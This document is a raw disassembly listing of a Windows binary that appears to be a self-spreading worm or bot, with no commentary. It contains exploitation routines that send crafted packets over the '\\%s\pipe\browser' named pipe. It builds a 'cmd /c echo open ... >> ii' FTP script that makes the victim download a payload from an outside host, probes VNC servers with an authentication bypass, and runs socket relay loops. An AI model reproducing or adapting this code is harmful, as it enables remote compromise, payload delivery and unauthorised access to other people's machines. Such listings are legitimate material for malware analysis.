; ю db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ╬ db 0 db 20h db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 68h ; h db 7Ch ; | db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; Х db 0A6h ; ╕ db 0DFh ; ъ db 0 db 0 db 6Ah ; j db 20h db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; Х db 0A7h ; ╖ db 0DBh ; ш db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 83h ; ┐ db 0C4h ; д db 1Ch db 89h ; ┴ db 85h ; ┘ db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ╦ db 58h ; X db 0D1h ; я db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; Х db 44h ; D db 8Dh ; █ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ╬ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 26F09A7h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432254 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432240 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 26E0000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] call near ptr 26508C8h nop jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26F0000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321E8[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDCCC jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_432237+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321DC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321E4[esi] push 7 add eax, edi push offset dword_4321D0 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432070 push eax call sub_41C310 mov eax, dword_4321E0[esi] add esp, 30h cmp byte_4321E8[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDCC4 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_432200 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_432200 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 26508C8h push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 26E0991h nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DE4F call near ptr 267064Ch nop cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2670D84h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 81h ; │ db 0ECh ; Л db 0A0h ; ═ db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; Ж db 6Ah ; j db 10h db 8Dh ; █ db 45h ; E db 0F0h ; П db 56h ; V db 50h ; P db 0E8h ; Х db 0D6h ; ж db 0D6h ; ж db 0 db 0 db 83h ; ┐ db 0C4h ; д db 0Ch db 8Dh ; █ db 45h ; E db 0Ch db 66h ; f db 0C7h ; г db 45h ; E db 0F0h ; П db 2 db 0 db 50h ; P db 90h ; ░ db 0E8h ; Х db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; ╣ db 0C4h ; д db 0 db 0 db 0 db 89h ; ┴ db 45h ; E db 0F4h ; Т db 90h ; ░ db 0E8h ; Х db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ┴ db 45h ; E db 0F2h ; Р db 0E8h ; Х db 38h ; 8 db 5Dh ; ] db 6Ah ; j db 71h ; q db 90h ; ░ db 8Bh ; ▀ db 0D8h ; ь db 83h ; ┐ db 0FBh ; Ш db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; █ db 45h ; E db 0F0h ; П db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; © db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ▀ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 0B8h ; ╦ db 8 db 91h ; ▒ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0E0h ; Ю db 0ACh ; ╛ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0DFh ; ъ db 0CCh ; л db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 88h ; ┬ db 22h ; " db 43h ; C db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 68h ; h db 90h ; ░ db 1 db 0 db 0 db 50h ; P db 0E8h ; Х db 38h ; 8 db 0DAh ; з db 0 db 0 db 83h ; ┐ db 0C4h ; д db 1Ch db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 87h ; ┤ db 0D0h ; п db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 8Bh ; ▀ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ю db 0EBh ; К db 17h db 6Ah ; j db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 53h ; S db 0E8h ; Х db 0E8h ; Х db 3Ah ; : db 6Ah ; j db 71h ; q db 90h ; ░ db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; и db 0C3h ; ц dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 0E8000007h, 2252D31h, 0FB834390h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACE0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_431444o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFE4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322FC push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431448[eax] lea eax, dword_431448[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAFBC test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433540 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFE4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAFA4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB03C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE5C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431448[eax] push ebx lea eax, dword_431448[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx call near ptr 71AB1A6Dh nop loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCE4 call dword_4CAFBC test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCE0 call near ptr 26E0000h nop jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCD4 call near ptr 26F0000h nop cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCE4 call dword_4CAFF4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0B02415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B03815FFh, 0E4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 1F1CE890h, 0FF50022Fh, 4CDCD835h, 0FE89000h, 50022F1Fh dd 2F19E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 433544h, 0D5E89057h, 8D022425h dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 2252732h dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 2718E890h, 0FF6A0225h, 0FFF04589h, 9E8D875h, 90022627h dd 0F075FF57h, 2079E890h, 0FF570227h, 70E8EC75h, 90022720h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E2594h dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCEC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CB024h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF38h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 2C17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0ECA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2C176FE8h, 57056A02h, 0AFCC15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 354C6850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 